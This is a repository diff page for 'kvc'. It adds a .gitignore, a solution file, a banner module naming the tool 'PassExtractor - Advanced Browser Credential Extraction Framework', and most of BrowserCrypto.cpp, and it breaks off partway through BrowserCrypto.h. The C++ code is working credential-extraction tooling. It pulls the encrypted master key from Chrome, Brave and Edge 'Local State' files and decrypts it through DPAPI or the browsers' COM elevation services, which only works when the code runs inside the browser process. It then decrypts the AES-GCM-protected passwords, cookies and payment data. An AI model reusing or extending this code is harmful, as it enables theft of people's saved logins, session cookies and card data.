Compare commits
88 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6df3ee00eb | ||
|
|
bb6e4cae4f | ||
|
|
4f715d21a3 | ||
|
|
58cfcf1f0f | ||
|
|
cd3f29586e | ||
|
|
55ba91d64d | ||
|
|
9ee844dc8a | ||
|
|
3a2dcb9850 | ||
|
|
67673b5c70 | ||
|
|
e1acfcec8a | ||
|
|
2cb313ae13 | ||
|
|
e270aa57f1 | ||
|
|
c7bdb17c1d | ||
|
|
2eb29937ba | ||
|
|
c40226aafe | ||
|
|
0995d6f54b | ||
|
|
4dbc63bb20 | ||
|
|
f4fadf1424 | ||
|
|
3c10c97b8c | ||
|
|
eb8e6c3fe9 | ||
|
|
6630673cfb | ||
|
|
9aabcb3f3b | ||
|
|
b6c670f485 | ||
|
|
e4d12fc1df | ||
|
|
cb42afe402 | ||
|
|
464728f3dd | ||
|
|
6aca506715 | ||
|
|
e0db9452e4 | ||
|
|
dccf4ccf09 | ||
|
|
7620fd8aa8 | ||
|
|
9926238fb0 | ||
|
|
0bd5de8765 | ||
|
|
e54bd41f07 | ||
|
|
c2bda40e5b | ||
|
|
da908ccb24 | ||
|
|
9075be7375 | ||
|
|
b6bedf40f3 | ||
|
|
4f6cf1bdb9 | ||
|
|
23a8570aa9 | ||
|
|
50a9ed3594 | ||
|
|
a2c6d7f03d | ||
|
|
2b5baf2afc | ||
|
|
e213c51768 | ||
|
|
e687cf2ff6 | ||
|
|
94b1657a93 | ||
|
|
88d3bd204f | ||
|
|
1ef3c0edc5 | ||
|
|
3fa4db880b | ||
|
|
29e28d4894 | ||
|
|
3811f65d21 | ||
|
|
26a43694ce | ||
|
|
e07fde8f0b | ||
|
|
aadbbc0a6b | ||
|
|
78f8ca5a7b | ||
|
|
5aaff0c4f9 | ||
|
|
4516f331ab | ||
|
|
6d0a033122 | ||
|
|
f6e23e0943 | ||
|
|
6cb33b0183 | ||
|
|
de135c0487 | ||
|
|
0ccfead131 | ||
|
|
6e8e094f5c | ||
|
|
aa3dd56fe2 | ||
|
|
2d75f86142 | ||
|
|
f83339988b | ||
|
|
7c9106e62f | ||
|
|
022127c08a | ||
|
|
fe69b81d9e | ||
|
|
4f5417aeb6 | ||
|
|
7f400a971e | ||
|
|
7e1640f447 | ||
|
|
5b72aaf1f9 | ||
|
|
d2eda2b95f | ||
|
|
5930d2d7db | ||
|
|
ecd1dca043 | ||
|
|
3392584676 | ||
|
|
b8ec1cfa14 | ||
|
|
8bada3f68f | ||
|
|
fa36c49edb | ||
|
|
6e331b9eb0 | ||
|
|
dc1e230514 | ||
|
|
a84cb5ba92 | ||
|
|
ebc93881a8 | ||
|
|
573ec0dfe5 | ||
|
|
dc2a1f0717 | ||
|
|
d6fb59442e | ||
|
|
c0d30fa73f | ||
|
|
4a84ad4d63 |
26
.gitignore
vendored
Normal file
26
.gitignore
vendored
Normal file
@@ -0,0 +1,26 @@
|
||||
# Skrypty lokalne
|
||||
git-push.sh
|
||||
pack-release.sh
|
||||
pack-data.sh
|
||||
|
||||
# Pliki środowiskowe
|
||||
.env
|
||||
.env.*
|
||||
|
||||
# Release files
|
||||
releases/
|
||||
*.7z
|
||||
*.zip
|
||||
*.dat
|
||||
*.tar.gz
|
||||
|
||||
# Binarki i build
|
||||
bin/
|
||||
obj/
|
||||
build/
|
||||
dist/
|
||||
*.exe
|
||||
*.dll
|
||||
|
||||
# Katalogi z danymi
|
||||
data/
|
||||
BIN
images/kvc_00.jpg
Normal file
BIN
images/kvc_00.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 161 KiB |
9
kvc.sln
9
kvc.sln
@@ -9,6 +9,10 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "implementer", "kvc\implementer.vcxproj", "{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Release|x64 = Release|x64
|
||||
@@ -20,11 +24,16 @@ Global
|
||||
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
|
||||
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
|
||||
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
|
||||
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64
|
||||
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64
|
||||
{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}.Release|x64.ActiveCfg = Release|x64
|
||||
{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {75429447-576C-4E36-9CDC-F4B668D9FBF5}
|
||||
SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
|
||||
128
kvc/BannerSystem.cpp
Normal file
128
kvc/BannerSystem.cpp
Normal file
@@ -0,0 +1,128 @@
|
||||
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp
|
||||
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
|
||||
namespace Banner
|
||||
{
|
||||
// Print centered text with specified color
|
||||
void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80)
|
||||
{
|
||||
int textLen = static_cast<int>(text.length());
|
||||
int padding = (width - textLen) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, color);
|
||||
std::wcout << std::wstring(padding, L' ') << text << L"\n";
|
||||
}
|
||||
|
||||
// Print application banner with blue frame
|
||||
void PrintHeader()
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
const int width = 80;
|
||||
const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
|
||||
const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
|
||||
|
||||
// Top border
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"================================================================================\n";
|
||||
|
||||
// Banner content - centered white text
|
||||
PrintCentered(hConsole, L"Marek Wesolowski - WESMAR - 2025", textColor, width);
|
||||
PrintCentered(hConsole, L"PassExtractor v1.0.1 https://kvc.pl", textColor, width);
|
||||
PrintCentered(hConsole, L"+48 607-440-283, marek@wesolowski.eu.org", textColor, width);
|
||||
PrintCentered(hConsole, L"PassExtractor - Advanced Browser Credential Extraction Framework", textColor, width);
|
||||
PrintCentered(hConsole, L"Multi-Browser Password, Cookie & Payment Data Recovery Tool", textColor, width);
|
||||
PrintCentered(hConsole, L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques", textColor, width);
|
||||
|
||||
// Bottom border
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"================================================================================\n\n";
|
||||
|
||||
// Restore original color
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
// Print footer with donation information
|
||||
void PrintFooter()
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
const int width = 80;
|
||||
const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
|
||||
const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
|
||||
const WORD linkColor = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
|
||||
// Helper lambda for centered text in frame
|
||||
auto printCenteredInFrame = [&](const std::wstring& text) {
|
||||
int textLen = static_cast<int>(text.length());
|
||||
int padding = (width - 2 - textLen) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"|";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, textColor);
|
||||
std::wcout << std::wstring(padding, L' ') << text
|
||||
<< std::wstring(width - 2 - padding - textLen, L' ');
|
||||
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"|\n";
|
||||
};
|
||||
|
||||
// Top border
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
|
||||
|
||||
// Footer content
|
||||
printCenteredInFrame(L"Support this project - a small donation is greatly appreciated");
|
||||
printCenteredInFrame(L"and helps sustain private research builds.");
|
||||
printCenteredInFrame(L"GitHub source code: https://github.com/wesmar/kvc/");
|
||||
printCenteredInFrame(L"Professional services: marek@wesolowski.eu.org");
|
||||
|
||||
// Donation line with colored links
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"|";
|
||||
|
||||
std::wstring paypal = L"PayPal: ";
|
||||
std::wstring paypalLink = L"paypal.me/ext1";
|
||||
std::wstring middle = L" ";
|
||||
std::wstring revolut = L"Revolut: ";
|
||||
std::wstring revolutLink = L"revolut.me/marekb92";
|
||||
|
||||
int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
|
||||
middle.length() + revolut.length() + revolutLink.length());
|
||||
int padding = (width - totalLen - 2) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, textColor);
|
||||
std::wcout << std::wstring(padding, L' ') << paypal;
|
||||
SetConsoleTextAttribute(hConsole, linkColor);
|
||||
std::wcout << paypalLink;
|
||||
SetConsoleTextAttribute(hConsole, textColor);
|
||||
std::wcout << middle << revolut;
|
||||
SetConsoleTextAttribute(hConsole, linkColor);
|
||||
std::wcout << revolutLink;
|
||||
SetConsoleTextAttribute(hConsole, textColor);
|
||||
std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
|
||||
|
||||
SetConsoleTextAttribute(hConsole, frameColor);
|
||||
std::wcout << L"|\n";
|
||||
|
||||
// Bottom border
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
|
||||
|
||||
// Restore original color
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
}
|
||||
20
kvc/BannerSystem.h
Normal file
20
kvc/BannerSystem.h
Normal file
@@ -0,0 +1,20 @@
|
||||
// BannerSystem.h - Application banner and footer management
|
||||
#ifndef BANNER_SYSTEM_H
|
||||
#define BANNER_SYSTEM_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
namespace Banner
|
||||
{
|
||||
// Print centered text with specified color
|
||||
void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80);
|
||||
|
||||
// Print application banner with blue frame
|
||||
void PrintHeader();
|
||||
|
||||
// Print footer with donation information
|
||||
void PrintFooter();
|
||||
}
|
||||
|
||||
#endif // BANNER_SYSTEM_H
|
||||
397
kvc/BrowserCrypto.cpp
Normal file
397
kvc/BrowserCrypto.cpp
Normal file
@@ -0,0 +1,397 @@
|
||||
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
||||
// Implements selective COM/DPAPI strategy based on browser and data type
|
||||
#include "BrowserCrypto.h"
|
||||
#include "CommunicationModule.h"
|
||||
#include <ShlObj.h>
|
||||
#include <wrl/client.h>
|
||||
#include <bcrypt.h>
|
||||
#include <Wincrypt.h>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <stdexcept>
|
||||
#include <algorithm>
|
||||
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
namespace Browser
|
||||
{
|
||||
// Browser-specific configuration database
|
||||
// Contains COM CLSIDs, IIDs, and file paths for each supported browser
|
||||
const std::unordered_map<std::string, Config>& GetConfigs()
|
||||
{
|
||||
static const std::unordered_map<std::string, Config> browser_configs = {
|
||||
{"chrome", {"Chrome", L"chrome.exe",
|
||||
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
||||
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
||||
fs::path("Google") / "Chrome" / "User Data"}},
|
||||
{"brave", {"Brave", L"brave.exe",
|
||||
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
||||
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
||||
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
||||
{"edge", {"Edge", L"msedge.exe",
|
||||
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
||||
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
||||
fs::path("Microsoft") / "Edge" / "User Data"}}
|
||||
};
|
||||
return browser_configs;
|
||||
}
|
||||
|
||||
// Determines browser configuration based on current process executable name
|
||||
Config GetConfigForCurrentProcess()
|
||||
{
|
||||
char exePath[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||
std::string processName = fs::path(exePath).filename().string();
|
||||
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
||||
|
||||
const auto& configs = GetConfigs();
|
||||
if (processName == "chrome.exe") return configs.at("chrome");
|
||||
if (processName == "brave.exe") return configs.at("brave");
|
||||
if (processName == "msedge.exe") return configs.at("edge");
|
||||
|
||||
throw std::runtime_error("Unsupported host process: " + processName);
|
||||
}
|
||||
}
|
||||
|
||||
namespace Crypto
|
||||
{
|
||||
// Encryption scheme identifier prefixes
|
||||
const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
||||
const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
|
||||
const std::string V10_PREFIX = "v10";
|
||||
const std::string V20_PREFIX = "v20";
|
||||
|
||||
// RAII wrapper for BCrypt algorithm handle
|
||||
class BCryptAlgorithm
|
||||
{
|
||||
public:
|
||||
BCryptAlgorithm() {
|
||||
BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0);
|
||||
}
|
||||
~BCryptAlgorithm() {
|
||||
if (handle) BCryptCloseAlgorithmProvider(handle, 0);
|
||||
}
|
||||
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
||||
bool IsValid() const { return handle != nullptr; }
|
||||
|
||||
private:
|
||||
BCRYPT_ALG_HANDLE handle = nullptr;
|
||||
};
|
||||
|
||||
// RAII wrapper for BCrypt key handle
|
||||
class BCryptKey
|
||||
{
|
||||
public:
|
||||
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
||||
{
|
||||
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()),
|
||||
static_cast<ULONG>(key.size()), 0);
|
||||
}
|
||||
~BCryptKey() {
|
||||
if (handle) BCryptDestroyKey(handle);
|
||||
}
|
||||
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
||||
bool IsValid() const { return handle != nullptr; }
|
||||
|
||||
private:
|
||||
BCRYPT_KEY_HANDLE handle = nullptr;
|
||||
};
|
||||
|
||||
// Decrypts AES-GCM encrypted data using provided key
|
||||
// Supports both v10 and v20 encryption schemes
|
||||
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
||||
{
|
||||
std::string detectedPrefix;
|
||||
size_t prefixLength = 0;
|
||||
|
||||
// Detect encryption scheme version
|
||||
if (blob.size() >= 3)
|
||||
{
|
||||
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
||||
{
|
||||
detectedPrefix = V10_PREFIX;
|
||||
prefixLength = V10_PREFIX.length();
|
||||
}
|
||||
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
||||
{
|
||||
detectedPrefix = V20_PREFIX;
|
||||
prefixLength = V20_PREFIX.length();
|
||||
}
|
||||
else
|
||||
{
|
||||
return {};
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return {};
|
||||
}
|
||||
|
||||
// Validate blob size
|
||||
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
||||
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
||||
return {};
|
||||
|
||||
// Initialize AES-GCM decryption
|
||||
BCryptAlgorithm algorithm;
|
||||
if (!algorithm.IsValid())
|
||||
return {};
|
||||
|
||||
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
||||
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
||||
|
||||
BCryptKey cryptoKey(algorithm, key);
|
||||
if (!cryptoKey.IsValid())
|
||||
return {};
|
||||
|
||||
// Extract IV, ciphertext, and authentication tag
|
||||
const uint8_t* iv = blob.data() + prefixLength;
|
||||
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
||||
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
||||
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
||||
|
||||
// Configure authenticated cipher mode
|
||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
||||
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
||||
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
||||
authInfo.cbNonce = GCM_IV_LENGTH;
|
||||
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
||||
authInfo.cbTag = GCM_TAG_LENGTH;
|
||||
|
||||
// Perform decryption
|
||||
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
||||
ULONG outLen = 0;
|
||||
|
||||
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
||||
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()),
|
||||
&outLen, 0);
|
||||
if (!NT_SUCCESS(status))
|
||||
return {};
|
||||
|
||||
plain.resize(outLen);
|
||||
return plain;
|
||||
}
|
||||
|
||||
// Extracts encrypted master key from browser's Local State file
|
||||
// Handles both APPB (COM) and DPAPI blob formats
|
||||
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
||||
{
|
||||
std::ifstream f(localStatePath, std::ios::binary);
|
||||
if (!f)
|
||||
throw std::runtime_error("Could not open Local State file.");
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
// Search for encrypted key in JSON
|
||||
std::string tag = "\"app_bound_encrypted_key\":\"";
|
||||
size_t pos = content.find(tag);
|
||||
|
||||
if (pos == std::string::npos) {
|
||||
tag = "\"encrypted_key\":\"";
|
||||
pos = content.find(tag);
|
||||
if (pos == std::string::npos)
|
||||
throw std::runtime_error("Encrypted key not found in Local State.");
|
||||
}
|
||||
|
||||
pos += tag.length();
|
||||
size_t end_pos = content.find('"', pos);
|
||||
if (end_pos == std::string::npos)
|
||||
throw std::runtime_error("Malformed encrypted key format.");
|
||||
|
||||
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
||||
if (!optDecoded)
|
||||
throw std::runtime_error("Base64 decoding of encrypted key failed.");
|
||||
|
||||
auto& decodedData = *optDecoded;
|
||||
|
||||
// Check for APPB prefix (COM-encrypted key)
|
||||
if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) &&
|
||||
memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
|
||||
{
|
||||
return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
|
||||
}
|
||||
// Check for DPAPI blob header (0x01000000)
|
||||
else if (decodedData.size() >= 4 &&
|
||||
decodedData[0] == 0x01 && decodedData[1] == 0x00 &&
|
||||
decodedData[2] == 0x00 && decodedData[3] == 0x00)
|
||||
{
|
||||
return decodedData;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
||||
|
||||
fs::path BrowserManager::getUserDataRoot() const
|
||||
{
|
||||
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
||||
}
|
||||
|
||||
MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}
|
||||
|
||||
MasterKeyDecryptor::~MasterKeyDecryptor()
|
||||
{
|
||||
if (m_comInitialized)
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
// Decrypts master key using browser's COM elevation service
|
||||
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config,
|
||||
const std::vector<uint8_t>& encryptedKeyBlob)
|
||||
{
|
||||
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
||||
static_cast<UINT>(encryptedKeyBlob.size()));
|
||||
if (!bstrEncKey)
|
||||
throw std::runtime_error("Failed to allocate BSTR for encrypted key.");
|
||||
|
||||
BSTR bstrPlainKey = nullptr;
|
||||
HRESULT hr = E_FAIL;
|
||||
DWORD comErr = 0;
|
||||
|
||||
// Edge uses different COM interface than Chrome/Brave
|
||||
if (config.name == "Edge")
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||
}
|
||||
}
|
||||
|
||||
SysFreeString(bstrEncKey);
|
||||
|
||||
// Validate decryption result
|
||||
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
||||
{
|
||||
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
||||
std::ostringstream oss;
|
||||
oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x"
|
||||
<< std::hex << hr;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
||||
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
||||
SysFreeString(bstrPlainKey);
|
||||
|
||||
return aesKey;
|
||||
}
|
||||
|
||||
// Decrypts master key using Windows DPAPI
|
||||
// Used for Edge passwords when orchestrator provides pre-decrypted key
|
||||
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
|
||||
{
|
||||
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
||||
|
||||
DATA_BLOB inputBlob = {
|
||||
static_cast<DWORD>(encryptedKeyBlob.size()),
|
||||
encryptedKeyBlob.data()
|
||||
};
|
||||
DATA_BLOB outputBlob = {};
|
||||
|
||||
BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
|
||||
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
DWORD error = GetLastError();
|
||||
std::ostringstream oss;
|
||||
oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
|
||||
m_logger.Log("[-] " + oss.str());
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
|
||||
LocalFree(outputBlob.pbData);
|
||||
|
||||
if (aesKey.size() != Crypto::KEY_SIZE)
|
||||
{
|
||||
std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) +
|
||||
", expected: " + std::to_string(Crypto::KEY_SIZE);
|
||||
m_logger.Log("[-] " + errMsg);
|
||||
throw std::runtime_error(errMsg);
|
||||
}
|
||||
|
||||
return aesKey;
|
||||
}
|
||||
|
||||
// Main decryption entry point - selects strategy based on browser and data type
|
||||
std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config,
|
||||
const fs::path& localStatePath,
|
||||
DataType dataType)
|
||||
{
|
||||
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
||||
|
||||
// Edge passwords use DPAPI without process requirement
|
||||
if (config.name == "Edge" && dataType == DataType::Passwords)
|
||||
{
|
||||
m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)");
|
||||
auto aesKey = DecryptWithDPAPI(localStatePath);
|
||||
m_logger.Log("[+] Edge DPAPI decryption successful for passwords");
|
||||
return aesKey;
|
||||
}
|
||||
else
|
||||
{
|
||||
// All other scenarios use COM elevation
|
||||
std::string dataTypeStr = "data";
|
||||
switch (dataType) {
|
||||
case DataType::Cookies: dataTypeStr = "cookies"; break;
|
||||
case DataType::Payments: dataTypeStr = "payments"; break;
|
||||
case DataType::Passwords: dataTypeStr = "passwords"; break;
|
||||
default: dataTypeStr = "data"; break;
|
||||
}
|
||||
|
||||
m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);
|
||||
|
||||
if (!m_comInitialized)
|
||||
{
|
||||
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
||||
{
|
||||
throw std::runtime_error("Failed to initialize COM library.");
|
||||
}
|
||||
m_comInitialized = true;
|
||||
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
||||
}
|
||||
|
||||
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
||||
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
||||
|
||||
auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
|
||||
m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
|
||||
return aesKey;
|
||||
}
|
||||
}
|
||||
}
|
||||
123
kvc/BrowserCrypto.h
Normal file
123
kvc/BrowserCrypto.h
Normal file
@@ -0,0 +1,123 @@
|
||||
// BrowserCrypto.h - Cryptographic operations and browser-specific configurations
|
||||
// Implements selective decryption strategy for different data types and browsers
|
||||
|
||||
#ifndef BROWSER_CRYPTO_H
|
||||
#define BROWSER_CRYPTO_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <filesystem>
|
||||
#include <unordered_map>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
class PipeLogger;
|
||||
|
||||
// Data type enumeration for selective decryption strategy
|
